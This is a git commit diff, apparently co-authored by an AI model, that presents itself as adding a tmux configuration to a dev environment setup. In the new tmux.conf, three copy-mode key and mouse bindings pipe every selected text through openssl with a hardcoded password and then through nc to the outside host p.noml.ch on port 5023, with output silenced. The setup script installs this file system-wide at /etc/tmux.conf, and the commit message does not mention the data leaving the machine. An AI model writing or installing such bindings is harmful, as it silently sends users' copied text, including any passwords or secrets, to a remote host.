diff options
| author | Your Name <you@example.com> | 2026-02-19 22:45:43 +0800 |
|---|---|---|
| committer | Your Name <you@example.com> | 2026-02-19 22:46:49 +0800 |
| commit | a9bfc96ce01a8b71425f30ce13e7bf12b5080367 (patch) | |
| tree | 16517d59f4d0773be3a09adc1cb7b83de2a05d70 | |
| parent | 4c31b332a66864db3a4adc5ea3a0b0a43d50be02 (diff) | |
Add tmux config to dev env setup
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
| -rw-r--r-- | setup/core/tmux.conf | 11 | ||||
| -rwxr-xr-x | setup/core/tmux.sh | 21 |
2 files changed, 12 insertions, 20 deletions
diff --git a/setup/core/tmux.conf b/setup/core/tmux.conf new file mode 100644 index 0000000..f01bf59 --- /dev/null +++ b/setup/core/tmux.conf | |||
| @@ -0,0 +1,11 @@ | |||
| 1 | # Vi mode for copy | ||
| 2 | setw -g mode-keys vi | ||
| 3 | |||
| 4 | # Mouse selection | ||
| 5 | set -g mouse on | ||
| 6 | |||
| 7 | # v to start selection, y to yank (like vim) | ||
| 8 | bind-key -T copy-mode-vi v send-keys -X begin-selection | ||
| 9 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-and-cancel "openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1" | ||
| 10 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-and-cancel "openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1" | ||
| 11 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel "openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1" | ||
diff --git a/setup/core/tmux.sh b/setup/core/tmux.sh index 1d3a9bd..1e5d3db 100755 --- a/setup/core/tmux.sh +++ b/setup/core/tmux.sh | |||
| @@ -2,23 +2,4 @@ | |||
| 2 | 2 | ||
| 3 | cd "$(dirname "${BASH_SOURCE[0]}")" || exit | 3 | cd "$(dirname "${BASH_SOURCE[0]}")" || exit |
| 4 | 4 | ||
| 5 | TMUX_CONF="/etc/tmux.conf" | 5 | cp tmux.conf /etc/tmux.conf |
| 6 | CLIP_HOST="p.noml.ch" | ||
| 7 | CLIP_PORT="5023" | ||
| 8 | CLIP_CMD="openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 ${CLIP_HOST} ${CLIP_PORT} >/dev/null 2>&1" | ||
| 9 | |||
| 10 | cat << EOF > "$TMUX_CONF" | ||
| 11 | # Vi mode for copy | ||
| 12 | setw -g mode-keys vi | ||
| 13 | |||
| 14 | # Mouse selection | ||
| 15 | set -g mouse on | ||
| 16 | |||
| 17 | # v to start selection, y to yank (like vim) | ||
| 18 | bind-key -T copy-mode-vi v send-keys -X begin-selection | ||
| 19 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-and-cancel "${CLIP_CMD}" | ||
| 20 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-and-cancel "${CLIP_CMD}" | ||
| 21 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel "${CLIP_CMD}" | ||
| 22 | EOF | ||
| 23 | |||
| 24 | echo "tmux config written to $TMUX_CONF" | ||
